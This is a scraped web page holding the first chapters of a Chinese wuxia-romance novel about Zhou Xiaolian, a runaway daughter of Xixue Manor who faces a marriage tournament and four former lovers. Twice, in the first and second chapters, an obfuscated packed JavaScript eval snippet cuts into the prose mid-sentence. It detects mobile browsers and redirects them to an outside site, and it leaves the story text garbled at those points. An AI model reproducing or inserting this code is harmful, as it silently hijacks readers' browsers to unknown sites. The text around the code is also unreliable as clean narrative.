《逃婚小心走夜路》 1. 小怜年少 江湖红尘纷纷沓沓,少年意气,白驹过隙。五陵年少如天下,总是新了旧,旧了又新。 芦苇荡畔白茫茫一片,景致繁荣,马壮羊肥。过了两溪,是日月江;过了日月江,是洗雪山庄。 天下刚分开时,有个姓周的姑娘和师门里的师姐打赌,她心高气傲,一心要扶正江山,为天下除害,谁也拦不住她。 周姑娘一人背着剑,从北边往南边走,一路结识了许多少侠、大侠、毛侠……有人为财、有人为名、有人为命,所求所得各有不同。 走马观花,周姑娘从众生中似有所悟,但并不知晓个中道理。 她只觉得自己从小学剑,自始至终为民,为苍生。 于是周姑娘过五关斩六将,单枪匹马杀上朝堂,这才发现生民苦难,非她一人朝夕能改。往昔种种,不过蚍蜉撼树。 剑心是她的山河,如今山河破碎,剑心岂安? 周姑娘正值芳华,但因朝廷的背信弃义心如死灰。她对滚滚红尘大失所望,想要回到师门里,可山上的师门避世隐居,飘渺世外,早已容不下入过世的她。 天下之大,居然哪里都不是周姑娘的家! 她握着一柄断剑,策马来到日月江边,正要投江魂归九泉之际,居然听到婴儿啼哭。 …… 今日天色正好。 洗雪山庄后庄,年幼的周小怜托着腮。她抓鸡偷狗之余,听了猫婆婆说半日故事,没想到这故事居然一转话本子的开头。 倒也不是不爱听这传奇故事,只是听了太多回,这次更是很无厘头。 周小怜忙打住老婆婆的话尾:“哎、哎。婆婆啊,婆婆,你读点那个嘛……那种,周汀情练的剑?要不你看我练剑——” 被周小怜叫作婆婆的老妇人哂笑。 她年岁过半,听过的,经历过的故事不少,且热衷于给山庄里的小辈讲述一个又一个江湖故事。 只是周大小姐忙于练剑,只有无事可干的周二小姐会乖乖在她身边陪伴些许时光。 猫婆婆杵了杵她手里那根猫头杖,这是她特制的拐杖,上头雕着一只相当灵动可爱的猫头:“我们二小姐哟,这是又坐不住啦。” 周小怜从不在明面上和婆婆斗嘴,她手指搓着衣角,在心底嘟囔着:才不是我坐不住呢。 猫婆婆比起其他庄子里的人更疼爱偏爱她不假,可每次一抓住她就是念叨这么个周姑娘的故事。一月听上十遍,两月听上二十遍!年年月月日日,换汤不换药的讲。 背着剑的周女侠无处可去,剑心破碎后,从北走到南,从南走到北,过了两溪,过了日月江,一手建下洗雪山庄。 这是洗雪山庄,乃至整个江湖人尽皆知的往事。 周小怜对老婆婆喜欢翻来覆去的讲故事感到无奈,可她实在看不下去猫婆婆每日孤单一人在庄子里走来走去。猫婆婆的身边除了猫头木杖和毒婆婆,也没个可以说话的人。 既然没有人和猫婆婆说话,周小怜就主动请缨。况且她其实很讨厌洗雪山庄、讨厌娘、讨厌爹、也讨厌姐姐周汀情。猫婆婆是她唯一的避风港。 她并不是全无道理的讨厌她们,比如说:凭什么周汀情叫周汀情,自己就要叫小怜?娘太偏心了,起名字也偏心,小怜,这是多简单的名字呀……跟个小猫小狗似的。 周小怜一想到这里,就恨得牙痒痒。她一挥袖子,煞有其事一本正经地拱手:“我今天不听啦,我要去干自己的大事儿去啦,猫婆婆,再会!” “二小姐,小心点呀。”猫婆婆脾气好,眯着眼笑,随她去了。 周二小姐这个年纪,能干什么大事?也就上树掏鸟蛋,下河摸鲤鱼,还有驯后山她亲娘养的那条大狼狗。 真要掏着鸟蛋,摸着鲤鱼,大家还都夸她呢。 周小怜在猫婆婆热乎乎的目光里跑开了,她在洗雪山庄里颇具威名,无人敢不听她的命令——不对,还是有一个的。 洗雪山庄里最近新来了一个小孩儿,也不知道是谁家的小孩。她娘那个凶巴巴的女人可喜欢人家了,衣食住行都紧着她的用。 小孩儿和周小怜同岁,叫什么怀芳吧。周小怜看见她的第一面就不喜欢她,她太好看太斯文了,捏着个帕子弱弱的喊她娘:“伯母好。” 给周小怜她亲娘周珊瑚哄得像看见小猫似的掐着嗓子,“哎呦,怀芳可不必如此客气。对了,这是我家……老二,叫小怜。” 周小怜鼻孔出气,但还是客气朝怀芳伸手道:“嗯,我是小怜。你好。” 怀芳只默默地看了她一眼,没说话,也没伸手,只是点点头,以示自己知道了——好高傲! 年纪小小的周小怜没有被怀芳这样高傲的姿态迷了眼睛,而是幽幽的在心底冷笑。她从那一刻就决定与怀芳势不两立。 她当时恨得牙痒痒,看怀芳睫毛扇呀扇,恨又被一个莫名其妙的疑惑取代:怀芳眼皮上究竟是怎么能生那么长的毛的? 后来怀芳还是莫名其妙住她家里了,周小怜几度绝食,摔碗,和她独断的亲娘抗议无效,还反被揍了一顿。 怀芳的院子偏偏和小怜的院子挨得近,两个人抬头不见低头……低头也不见。怀芳不爱出来玩,过了那段不熟悉的时间,最后总是小怜上赶着找她。 “喂!” 小怜的脑袋从书房的窗子探出来,她人长得还没墙高,每次找怀芳都得踩一块石头上,拼命踮脚才行,“出来摸鱼!” 怀芳正在写字,眼也不抬,早习惯了:“不去,今日要温书、习字、读……唉!” 周小怜扯了一把她头发,“读书有什么好的呀!你天天看书把自己看得都快死掉了知不知道!你看,你头发都枯了,跟那个叶子似的!” 她随手一指,怀芳案上摆着一盆光秃秃的小苗。 怀芳被她气笑,放下笔,好好讲道理:“你好意思说么,那不是你每日过来都要拽几片叶子。而且也是你,每次喝不下去的药就往我这里倒……” 周小怜怎么会不好意思?她睁着圆滚滚的眼睛,强词夺理:“我哪里有干过这么坏的事情?你污蔑我,我怎么不记得了!” 她嘟嘟囔囔,讲着讲着又换了套说辞:“你也没说不行,那就是可以呀。好了好了,快出来吧,我在外头等你呢。” 她撒开手就跑,压根也不给怀芳拒绝的机会。要不然留在那,怀芳又要说“不行不行”了。 周小怜把怀芳吃得死死的,是怀芳天生的克星,她姐姐周汀情也难得这么夸奖她。 拒绝不了周小怜的怀芳的确拉着一张脸出来了,她俩一高一矮,一瘦一胖,是一根筷子一只碗。小怜拉她去垂柳湖,名字是她胡诌的,那个湖根本没名字,但是有很多鱼。 因为周小怜她爹杭红真爱钓鱼,可总是钓不着鱼,所以她娘周珊瑚大手一挥,就挖了这么个湖,湖里每年都撒鱼苗,她爹还是每年都钓不着鱼。 “不中用的东西!”周小怜的爹就这么天天对着他钓鱼的杆子,恨铁不成钢的骂。 周小怜一点也不敢和她爹说,其实垂柳湖的鱼一点都不难钓。 是她爹太笨啦,所以钓不着鱼,小怜其实应该没事做的时候和他待在一起,但因为杭红真太笨了,所以她更喜欢去两个婆婆那里。 “你就这么喜欢这里吗?”怀芳帮她把鬓发拨到耳朵后面,又被周小怜弄回来。 这是小怜从最近侍女们身上学来的好看的打扮,怀芳怎么一点都不懂?她又一点点拨弄回来,不让怀芳发现。 周小怜哼哼:“喜欢呀,这儿那么漂亮,怎么会不喜欢呢?” “这个时候的风吹过来暖和的很,”周小怜在垂柳湖边有一块特别爱坐的石头,她看了半天,盘膝而坐,又重复了一遍刚才的话:“怎么会不喜欢呢?” 怀芳就坐到她身边,无声无息地幽幽盯着她,脸上还是一副矜傲模样,“你还挺笨的。” 周小怜对她莫名其妙的嘲讽不予理会,自顾自说:“你听过洗雪山庄秘史没?” “周女侠的故事,天下人尽皆知。”怀芳点点头。 “哦……这么有名啊,”周小怜穿着鞋履踩水,涟漪泛起,“刚刚婆婆又讲给我听,我觉得我不喜欢这个故事。” “周女侠是少年英雄,江湖人人敬仰,更不必提洗雪山庄中人,”怀芳说话叽里咕噜,咬文嚼字,周小怜全都听懂,“你为什么不喜欢?” 周小怜用一根手指绕了绕头发,“人太好了嘛,我觉得她呢,想那么多事情,一定很累。活得不够自在,我讨厌这种特别厉害的故事,大家好像都想当一个特别厉害的人。” “……天下谁不想当英雄。”怀芳眼神飘远,不知看往何处。 “我啊,我不想当英雄,我要当特别厉害的剑仙,”周小怜比划了两下她偷偷看到的洗雪剑式,“懂不懂啊你!咻咻一下,无情道,逍遥快活!” 怀芳听到周小怜雄心壮志, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362276|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无语道:“洗雪山庄是名门正派,你将来会有许多家业要继承。若是你想做这样自在的人,恐怕周庄主会第一个不同意。” 周小怜站起身突然凑过去,和怀芳四目相对,鼻尖贴着鼻尖:“那到时候你帮我管嘛,我就出去玩咯。” 怀芳把小怜的话听了一半,脸上有些发红:“什么管你?你讲话越来越没、没道理!” “不是你说我要继承很多家业的吗!到时候我要是没法出去了,我就把你打扮成我的样子管家就好啦!” 小怜故作嗔怒,伸手推了一把怀芳肩头,差点把人攮湖里去。 她眨眼道,表情一万分无辜自然:“你不会不愿意吧!” 原来讲半天是这个管。怀芳拳头攥紧了又松开,心中暗暗叹一口气,小怜未曾得知,也看不出那点千回百转。 周小怜还在洋洋得意道:“反正你要是哪日要是不理我了,我就放阿灵咬你。咬的你衣服都坏了,脸上都是口水,让你再也不敢和我生气。” 阿灵是周庄主养在后山的一条大黑狗,然而这孩子只是看似凶狠,实则最为亲人。 只不过阿灵与山庄里大部分人都很好相处,唯独不肯亲周小怜与她生父,也不知是何缘由。 这便是周小怜父女两人在洗雪山庄的处境。 怀芳听小怜提到阿灵,略有些酸楚难受,但旁人家事,一个外人又要如何置喙?于是只能叹了口气:“你就为了说这个,才把我叫出来?” 周小怜脑子转得快,想的东西也跳脱,这就轻易被怀芳拉开注意。 她咧嘴一笑,伸出手按住怀芳的肩膀,看得人背脊发凉:“嘿嘿,其实我是为了……” 是为了做什么来着? 十七岁的周小怜不记得当时自己怎么想的了。 她从这个欲语还休的梦里惊醒,猛地睁眼,又被日光刺得“嗷”了一声,在榻上捂着眼睛蜷成一团打滚。 在自家的时候睡得就是好。外头日上三竿,春光明媚,莺鸟啁啾大半个白天,都没能把周二小姐吵醒。 “怎么梦到那个时候的事情了……”周小怜哀鸣,谁要在梦里重温过去小时候脑子还是个杏仁时,做的那点坏事了? 她的头怎么一点也不经过她的同意,就擅自给她看这个了? 不过还好,六岁的事情,还能说是年少无知,天真烂漫。 还好不是一年前呢。 洗雪山庄周二小姐睡个囫囵,但到了起床的时间,她的四肢带着她的魂稀里糊涂地从床上爬起来,洗漱更衣。 自从五个月前,周小怜被姐姐周汀情从淮南康郡逮了回来,她身边的侍婢就被全换了。 现在她的院落周围都是些不解风情,一心武学的笨孩子们,成日寸步不离地跟着自己。 周小怜随手簪着一根青玉,她天生丽质,长相肖爹,是周氏三代里生的最轻浮的。 俏脸濯洗过后如清水芙蓉,可偏偏难挡风流情态。眉飞尾翘,眼似杏而非杏,长睫比狐狸更卷。 美人懒懒斜靠美人榻,打了个哈欠。 禁闭嘛,足不出户,道理她都懂。回到洗雪山庄的这五个月,她就一昧的偷懒,毕竟周汀情当时把她抓回来的时候,把她剑都砍断了。 想练武,周汀情恐怕也不会允许的。 就在周小怜准备继续翻阅她昨日没看完的话本时,突然从外头闯进来一个婢女。 她翻身端坐,自己待着无所谓,有人在的时候,周小怜还是要点脸的。 进来的是春静,也是周汀情的贴身婢女。 女人脸色看上去阴沉至极,很是不好。吓得周小怜一下子坐姿如钟,稳重了许多,一动也不敢动。 周小怜忍不住反思自己是不是又干嘛了……没啊,最近只是待着偷懒看话本。 没偷偷练武,也没偷偷翻出去啊。 周小怜满目茫然。她的比武招亲在即,周珊瑚对她看管严了不止十倍,严防死守,以免再次出现周小怜一年多前偷跑的灾事。 现在就是只苍蝇无意飞进来她的院子里想出去,都要被那些看守的人抓住了细细盘问,拔了翅膀。 春静一进来什么也没做,她不由分说地掐住周小怜的肩膀,周小怜还没反应过来,已被她用力前后摇晃起来。 “春、春静啊……”周小怜一头雾水,刚睡醒的脑子都要被摇匀。 “二小姐啊,你的情债的确就只有四个人,对吧?!” 2. 天下一会 洗雪山庄代代出女侠,这一代更是有周汀情,周小怜并蒂双姝。 世人提起周汀情,总是滔滔不绝: 少年剑成,单枪匹马与少林逃僧阎罗天一战,剑斩阎罗天两臂,将其扭回少林; 两年前与母周珊瑚生擒鸳鸯双贼,勘破江湖上十年前的离奇盗头案,扬名江湖; 五月前又在淮南康郡,逮了这一年来祸乱四方良家女子,杀人越货屠人满门眼也不眨一下的大魔头…… 总之,周汀情不愧是如今正道领头般的人物!洗雪山庄果然不负侠名! 至于周小怜,那是—— 哦,周汀情的妹妹,周珊瑚的二女儿……那是谁? 周小怜文不成武不就,仅凭一张脸靠传言美出方圆十里,只可惜也没几个人见过。 都怪、不是,都得谢谢给她们洗雪山庄送菜的张婶! 周小怜十三岁那年,在山庄里的白杨树下练洗雪剑。山下来的张婶给小厨房送完菜,打旁边路过,看见小姑娘汗涔涔的脸白里透红,回村里可按捺不住心。 她当即宣扬:“洗雪山庄藏着个仙女似的女孩呢,脸蛋红扑扑的,看着好像十三四岁。哎呦,要是过几年能嫁给我家儿子就好啦!” 那年周汀情从少林回来,涉过日月江,走到洗雪山庄门前被乡民拉住。 他们山上山下关系是很不错的,洗雪山庄素来会庇护附近的乡民,每年还不忘派些弟子下山帮着乡民忙耕种。往常打了着面,两方人总是彼此嘘寒问暖一番的。 可这回他们说了一串还不算完,周汀情遇到十个人,八个人都要问到:“周姑娘啊,听说你们家有个仙女似的女孩,十三四的年纪,可漂亮了!那是谁呀?是你们庄子上的侍女吗?” 周汀情懵了。她想了一圈,洗雪山庄里的姑娘很多,可练剑还只有十三四岁的女孩只有一个:“那是我妹妹小怜。” 她不知道将来这些乡亲们会在周小怜比武招亲时在落脚的游侠们面前把周小怜吹得天花乱坠。周汀情只是认真的挨个答回去,周女侠真诚,且死脑筋。 大家得了这么个答案,顿时索然无味,四散离去。哦——因为若是个侍女姑娘,他们这群普通人,说不准还能争个先,讲个亲事。 若是金尊玉贵洗雪山庄周家二小姐,那就没希望了。 江湖是江也是湖,有水的地方,有些东西总是传的特别快。况且还有周汀情这么一股东风可以乘呢。 世人虽然不知道周小怜有什么事迹,可一小波路过山庄的人知道了她很美丽,她是周汀情的妹妹。 她就这样和周汀情在江湖上并称洗雪双姝了。 只不过吹嘘的再厉害,也没几个人见过周小怜到底长什么样子……所以她的比武招亲宾客云集,都快赶上正统武林大会的架势了! 周小怜将书案一拍,振振有词:“难不成我还能有十几个情债吗?我那会儿是正经去游历的,又不是真去当采花大盗了!” “不对,你怎么突然这么问我?”小怜咂摸出点不对劲的味道。 春静哽了一下,只好从实招来,对着小怜嘟嘟囔囔无奈道:“因为……小姐您那几个情债已经很麻烦了。大小姐怕你,嗯,当时顾忌着,没说完。” 周小怜:”我何必瞒你们这个,那几个人也不算什么拿不出手的,我骗都骗了……还能少报不成?” “二小姐……”春静无奈地叹了一声。 小怜故意道:“那四个人都来了?你们觉得很棘手?那不如放我出去看看——” 二小姐剑法不如大小姐出神入化,可轻功却是苦心钻研过的。若真要让小怜这会儿溜了,只怕之后就难找了!上次就连周汀情都找了她整整大半年,才好不容易在康郡逮着。 春静闻言,左右为难,相当含糊的唔了一声。 周小怜又没骨头似的坐了回去,她早已对这动弹不得的生活感到索然无味,而且她其实很想知道自己的这场比武招亲场面究竟如何? 但临紧要关头,周珊瑚是不会轻易把她放出去的。 现在小怜也只能拉着面前还算知心的春静聊上两句。她按捺不住,一连串发提问,“春静姐,好春静呀。都谁来参加比武招亲了呀?你应该看着几个吧,你说最看好谁呀?” 春静摸了摸下巴,最终还是熬不住小怜软磨硬泡,仔仔细细道:“参加这比武招亲的约有百余人,年龄也大多与二小姐您相近。庄主和大小姐以家世、武功、品性、才学、外貌,已细细筛过两轮,但还有六十余人。” “哦——我娘和姐姐挑出来六十多个精品,这六十多个精品还得打呢,”小怜绕着发丝玩,她有点这个惯病,得这样脑子才能跟着转得快。 “但是我的情债是怎么就很棘手呢?”小怜揶揄的看着春静,“他们是怎么回事?干什么了?快说!” “……唉,”一提到这四个男人,春静就愁眉不展:“就是二小姐您之前说的,嗯,京里来的两位,褚公子和阮公子;还有乌、呃、乌公子和甘……” 周小怜一拍手,继续引导着说话磕磕绊绊的春静:“哦,褚见珏、阮真棋、乌兆星、甘霖?别怕,喊乌兆星名字他也不会冲进来拧我俩脑袋的。他们干嘛了?” “打起来了……是褚公子先打的……” 周小怜大骇:“啊?打起来了?褚见珏先打的?” 惊吓过后,又是一阵看热闹的快乐在小怜脸上浮现。 她欢快地拍手道:“他不是自诩风流才子吗,打的谁啊?乌兆星那个小东西他肯定打不过的呀,更不要提甘霖了。他打了阮真棋?为什么?” 一提到这四个人,周小怜就眼睛发亮。原因倒是无他,就是一年前她在外面的时候,随手就招惹了这么四个神人。 褚见珏是褚家大公子,此人从小痴情剑侠,在京中出了名。奈何他是家中独子,注定要走仕途一路。 小怜遇见他时,褚见珏金榜落空,正借酒消愁,对月放歌,正是最为忧郁脆弱之际。小怜乘虚而入,一采而空,害得褚见珏对这梦中仙人情根深种。 阮真棋嘛,也是京里的。只不过这位比褚见珏名头更盛,是在大相国寺带发修行的皇子,一双丹凤眼冷艳绝伦。 小怜不过路过上香,被他一瞥,看得魂牵梦绕,能忍?不能忍!错,都是阮真棋的错,谁让他看了女施主一眼? 两人在大相国寺后山大打出手,最后还是让小怜偷了香。修行不能成,阮真棋对她恨之入骨,是为情债,孽缘! 乌兆星和甘霖,更是在江湖上名头响当当。 一个是绝世魔头,随手灭门挖心,行为残忍暴戾,江湖人人得而诛之,又人人都打不过。 唯有周汀情和甘霖并剑方能与之一战……不过乌兆星身世凄惨,皮相热辣毒艳,与阮真棋艳出两种不同姿色。 小怜也是无意捡到身受重伤时的乌兆星,当时小怜被美色蛊惑,垂涎三尺,浑然不觉此人身上的问题,傻乎乎与他并肩过一段时日。 后来才发现他是大魔头。天,打不过惹不起,小怜顾不得他会不会发疯,选了一个月黑风高夜,就赶紧逃了! 至于甘霖,甘霖就不一样了,甘霖是个特别好的人。 正道魁首,惊世天才,风姿绰约啊——就是不行,年纪轻轻的,不行。 剑硬不起来也算男人的福报吧。 小怜叹气。 春静才不知道她眼珠子一转,又想哪去了,继续道:“是因为褚公子说,在阮公子腰间,看见了小姐你的、你的……” “我的什么?”周小怜大惊失色,这有什么突然语焉不详的,“我的赤色鸳鸯肚兜?不能吧,当年我偷个香又不是偷个人……我没掉肚兜啊!” “……是小姐你的香囊呀!” 小怜嗔怪:“那你说的那么紧张干嘛!一个香囊而已嘛,我多的是。不过褚见珏怎么认得出我的香囊的?怪了,人家当年明明是趁他迷糊要了他的!” 春静摇头:“小姐,别说你的绣工了。便是上数三代,到咱们家主,先家主,一直都是一个堪比补天似的窟窿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362277|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。只要是见过的,大家应该都忘不了。” “呵呵。” 周小怜冷笑,就当是这样吧,褚见珏对香囊过目不忘,可恨!她香囊绣的明明还行呀,总比周汀情好…… “他俩吵什么了?怎么又把乌兆星和甘霖扯进来了。” “褚公子说:阮公子作为禅修之人,身上带着一个女人的香囊,居然还要来求娶另一个女人,真是贻笑大方!水性杨花!”春静学褚见珏学的惟妙惟肖,神态声线丝毫不差,“如此作为,是负了那个送香囊的姑娘!” 小怜不屑,撇嘴道:“啧,装呢。他们四个能在这凑一桌,肯定都知道是我呀!阮真棋那个龟毛性子,看似云淡风轻,实则事关修行,一点就炸,难怪打起来了。阮真棋来这肯定也是为了打我的,讨债鬼。” “二小姐,”春静努努嘴,“所以你为什么惹了那么多、呃、情债啊?其实后来他们打起来,也是因为小姐你的香囊掉出来了,正好被乌、乌兆……” “你直接喊他大魔头得了,”小怜戳戳春静腮帮,“香囊掉出来被他看到,他也发了疯。阮真棋和褚见珏就是再来十个也不是他的对手,还得是甘霖一物降一物。哎,娘怎么没把乌兆星给筛走?” 周小怜口出狂言。春静则是一直发抖,兀自在心底抱怨起自家二小姐的没心没肺起来。 当年周小怜跑路的方式可不光彩,她自己和周汀情招了的时候,说自己几乎是死遁跑的。 她那时真是一点也没想过乌兆星这人本来就头有问题,如此一来,她简直就是把乌兆星往死路和绝路上逼。 乌兆星是个孤儿,吃了半生的苦,好不容易才成为了人人惧怕,敬而远之的魔头,又不慎在荒山落难。也许是上天垂怜,这才让他遇到个没认出他还真心待他的傻姑娘周小怜。 他读过的书不多,可记着滴水之恩,涌泉相报。于是乌兆星挤出一颗小小的真心,捧在手掌里,小心翼翼地端给小怜看,原以为如此也能换小怜真心相待。 没想到,结局是奈何明月独不照我。 阮真棋恨周小怜毁他道心,恨他半生清净清心,竟毁于一吻之间;乌兆星恨周小怜想一出是一出,践踏真心,可他更爱小怜。 这两人都不好惹,往人群里一杵就冷的出奇,无人敢靠近方寸。 周珊瑚并非不想筛走他们,而是不想惹祸上身。她比小怜都关心这次招亲大会,可一切事出有因,就该让招惹来的人自己收拾他们。 春静搓了搓手指,道:“家主的意思是,她管不了那么多事情。这四位眼下闹得有些大了,可能还是让小姐您自己看着办……” 周小怜倒是不介意剪开这四个人和自己缠缠绕绕的情缘。说到底在她心里,大家都是平起平坐的露水相逢,众生平等,从不分高低贵贱,干嘛关系闹得这么僵哦! 小怜托着下巴,说:“这不是姐姐不让我出去嘛,要我怎么收拾?坐在这,等他们四个从前面一路打到我院子里?那我可以等着收尸了,我现在连把剑都没呢!” “……哎呀,其实,猎月台还是可以去的。” 春静听小怜态度如此积极,心中暗想:从二小姐回洗雪山庄已过去了五月有余,小姐这些时日没闹出些幺蛾子来,应该也已经死了逃出去的心。 比武招亲在即,山庄看护本就比往日严苛了不少,反正看管二小姐的弟子们,这几日也要撤下了。不如,放松些? 现在时候特殊,况且小怜日后若是嫁人,也不住山庄了。眼下有些地方,还是可以因情理让步的。 春静忙补道:“但我得寸步不离的跟着二小姐,而且咱们得上猎月月安安静静的。” “其实……这会儿闹得再难看,也不用小姐收拾,自有大小姐操持维系。大小姐其实也是很是忧心二小姐的,大家都是为您好……” 春静絮絮叨叨,周小怜半个字都没听进去。 她光听着“可以去猎月台”这六个字,就已经心花怒放,神游天外了。 来了,可以逃跑的机会! 3. 有女为仙 如今这样局面,一切都还得从周小怜十五岁,也就是两年前说起。 不过诸事在她眼中,真要怪,那就怪对她从不上心的爹娘,和天赋异禀的直肠子姐姐吧。 天下武功扬名立万,万千妙法无外乎分作武学与心法,内外兼修方能得道。洗雪山庄能立足武林的根本,便是仰仗先人传下来的洗雪心法,与洗雪剑法。 洗雪山庄虽说并不吝传授,可自然也并非全无条件:首先,必须得是庄中人,才能学洗雪山庄家传;且洗雪剑对修习之人筋骨要求极为苛刻,若不能洗骨淬脉,自习洗雪剑,多半会全身筋脉断裂,炸脉而亡;再者,此剑祖上有训,向来传女不传男。 总而言之,三个条件无非是:学剑者必须是洗雪山庄门人、学剑者必须筋骨合格,天赋异禀、学剑者必须是女人。 要说是洗雪山庄门人,况且还身为女子。这两点对于出生就在洗雪山庄的周二小姐算不上什么难的,真要说难,还是难在那语焉不详的“筋骨”上。 学洗雪剑,筋骨到底要怎样才算可以?周小怜不知道,洗雪山庄那么多人都不知道,只有她亲娘周珊瑚知道。 但懵懂的周小怜知道的是,她的确是算筋骨不好的那类人。 与自幼就能学剑,被周围人夸赞天生剑心剑骨的周汀情不同。周小怜是一直拖到十二岁,生生受了千百次断骨灌药,这才堪堪能开始摸洗雪剑的门槛。 周小怜小时候和毒婆婆,猫婆婆关系最亲密不过。 可就为了学剑,她被猫婆婆打断骨头又接上,被毒婆婆一盅一盅灌难喝的药汁——如此便是所谓的洗骨淬脉,是为了让不能学剑的人变得可以学剑的方法。 真要说的话,现在实在谈不上多恨两位婆婆。但年幼的周小怜日复一日在无穷无尽的痛苦中度过,所以也绝不能轻易地原宥。 好在吃过的苦头不是白吃的,周小怜的洗雪剑还是学的不错。 虽不能与周汀情的一剑飞雪万里相媲美,但小怜剑出也有紫电清雷之势。 她将洗雪心法参透至六重,心随剑而动,周小怜心硬如金石,江湖同辈间也鲜有人能与之一战。 可就在小怜把洗雪心法与洗雪剑练到这个程度的期间,洗雪山庄的话事人已从一位,变成一位半了。 所谓的半位,是她近年来已涉足江湖大事,一直以来颇受娘亲疼爱和青睐的好姐姐。 她斩阎罗天,与周珊瑚总一同出席大大小小的场合,世人永远只知周汀情,不知周小怜,洗雪山庄下一代庄主不言而明。 小怜从名字到武学再到地位,居然永远要被周汀情压一头。 真真是孰不可忍…… 两年前,周汀情和周珊瑚因生擒鸳鸯双贼离家远行,留周小怜一人独守洗雪山庄。 前人彼时尚不知,此举于早已厌倦洗雪山庄庄内,多年以来没有怎么出过门的周小怜而言,简直就像是把黄鼠狼放鸡窝里一样。 周小怜打小其实也无心洗雪山庄的传承,万事有周汀情顶着,她就一心一意只求逍遥江湖。 练武是为了来日作恶多端不要打不过人家,练轻功更是为了打不过至少跑的快一点。 不过纵使周汀情与她关系还算和睦,她心中也因为周珊瑚的厚此薄彼,频频对周汀情不满,对拘束她的洗雪山庄不满。 周小怜想逃离的渴望绝非今时今日一蹴而就,而是日积月累,苦心谋划。 那时母姐为缉凶离庄,恰给她提供了人时地利人和。 周小怜先是沉寂了几天,所有人别说在意了,那是根本从来没把她放眼里,毕竟先前庄主带着周汀情偶尔出去办些事情也不是没有,周小怜哪次不是乖乖的在家待着? 如此一来,众人习以为常的忽视正中小怜下怀。 她看中这个时机,竟然趁所有人都不注意的时候,偷偷摸摸的从阿灵追小猫时刨出来的后院狗洞里,钻了出去。 周小怜两三日都不见踪影,还是两位婆婆心里挂念着她。连带着春静和阿灵,掘地三尺找了一整个庄子都没找到周二小姐。 一堆人遍寻无果,春静终于静下心翻二小姐的院子,原来小怜留了信,只是无心被压在她书案那一堆杂书底下。 春静看完她写得歪歪扭扭的信时,小怜已经单枪匹马,独过日月江了。 鸳鸯双贼不能耽搁,洗雪山庄更不能自乱阵脚。周小怜离家一事,只能等周珊瑚和周汀情回来之后,再做定夺。 如此一来,小怜竟真南下,度过了相当沾花惹草的一段时日。 虽然此行并非她本意,唉,实在是世道为难,人心叵测。周小怜闯来闯去,没想着居然被人传说是什么心狠手辣,横空出世的大盗。 此怪盗不仅采良家女清白、烧百姓良田、灭人满门满手血腥,还大兴邪说歪理,设鬼灵法坛……一年不到的时间,这大盗哪都去了,什么都干了,在江湖人口中,简直是魔人现世,其恶劣程度甚至不亚于浪迹多年的乌兆星! 虽说讲的那些事迹不全是错,小怜的确干了几件。可有些添油加醋的,真是把别人的锅都扣到她头上来了! 周小怜本就没什么名气,从小到大最出名地一次也就是被人说长得好看。她离家出走,洗雪山庄必然封锁消息,那她又没与人结仇,到底是谁在故意误传她的故事? 小怜虽然不想当个每天帮别人擦屁股忧心忡忡善人,但也不愿意平白当个恶人。 她对此心生疑窦,猜有人借着她的名头招摇撞骗。但那时她刚刚甩开乌兆星与甘霖两人,还没来得及着手调查此事,便在淮南康郡被周汀情追上。 两人大打出手,周汀情本就剑法高超,而且小怜自知理亏。她不愿和姐姐相谈妥协,只能先出手为强。 姐妹两人飞身掠远,从康郡一路战至日月江口。 麦浪流金,剑气贯虹。周汀情有意收敛几分,可周小怜出招无悔,虽是杀招,但她只求逼退姐姐,自己好渡江离开。 周汀情转腕挑开她一剑,冷冷呵斥:“小怜!随我回去!你惹出那么多祸事,回去还可有余地转圜!” 回去绝无可能!小怜拧腰撩剑,剑尖擦着周汀情咽喉向上飞,刺意瘙痒,周汀情却不曾退后方寸。 只见她不慌不忙,脚步腾挪,侧身闪过。又反手轻飘飘递出一剑,流影般抹过小怜腰际,竟将她封腰挑断。一肚子稀奇古怪的东西掉入江流,小怜大怒。 她叫嚷道:“周汀情,你和周珊瑚出去一趟,怎么学得这样不要脸耍无赖?!” “你在京中无法无天,一路来多少男子为你所骗。小怜,你真要与我在这辩证吗?” 周汀情将她这段时日内功剑法增长摸透底,手下也不再保留,干脆速战速决。 先前对剑,周汀情不曾用过洗雪剑式。而今不过一息之间,她长剑变式掼出,小怜察觉剑风扫来寒意,暗道不妙! 她本想静心应对,奈何周汀情出剑极快,意在逼她自乱阵脚,小怜只能忙提剑阻拦。 许久不对上洗雪剑,小怜出手便知自己必败。 洗雪剑虽是个风雅名字,但其力劲气浪刚猛无常,若无洗雪心法内外调息,洗雪剑剑式一出,只会让人自身受力倒噬,直至经脉断无可断。 所以洗雪剑向来不能以硬对硬,若小怜脑子转得过来,她方才一路卸势借力,此局还能一续。 可她总是下意识提剑阻挡,不被那猛力掀入身后江水,都算她脚上功夫了得。 两剑甫相接,便激出刺耳鸣声,燎出一串滚烫的星火:锵! 日月江畔白鹭惊逃,小怜两臂振振,还是不愿如此就认输,她输给周汀情的已经够多! 周小怜死死含住一口气,竭力双手持剑,虎口已然生出崩裂疼意。 周汀情有几分意外小怜能接下剑,可一连数十招,她喘也不喘,反观小怜如今冷汗直流。汀情不过比她年长四岁,实力却远胜小怜,实在可怖。 她叹道:“是长大了,力气也 